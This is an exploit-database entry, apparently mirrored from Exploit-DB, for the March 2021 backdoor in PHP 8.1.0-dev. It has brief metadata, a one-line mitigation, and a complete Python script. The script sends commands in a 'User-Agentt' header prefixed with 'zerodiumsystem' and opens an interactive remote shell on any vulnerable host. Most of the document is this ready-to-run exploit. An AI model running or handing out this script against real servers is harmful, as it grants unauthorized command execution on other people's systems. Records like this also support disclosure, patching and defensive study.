PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution

vendor:

PHP

by:

flast101

7.5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: PHP

Affected Version From: 8.1.0-dev

Affected Version To: 8.1.0-dev

Patch Exists: NO

Related CWE:

CPE: php:php:8.1.0-dev

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 20.04

2021

PHP 8.1.0-dev – ‘User-Agentt’ Remote Code Execution

An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header. The following exploit uses the backdoor to provide a pseudo shell on the host.

Mitigation:

Upgrade to a patched version of PHP and remove any unauthorized or suspicious code from the server.

Source

Exploit-DB raw data:

# Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link: 
#     - https://hub.docker.com/r/phpdaily/php
#    - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# References:
#    - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
#   - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com

An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
"""

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)

if str(response) == '<Response [200]>':
    print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
    try:
        while 1:
            cmd = input("$ ")
            headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
            "User-Agentt": "zerodiumsystem('" + cmd + "');"
            }
            response = request.get(host, headers = headers, allow_redirects = False)
            current_page = response.text
            stdout = current_page.split('<!DOCTYPE html>',1)
            text = print(stdout[0])
    except KeyboardInterrupt:
        print("Exiting...")
        exit

else:
    print("\r")
    print(response)
    print("Host is not available, aborting...")
    exit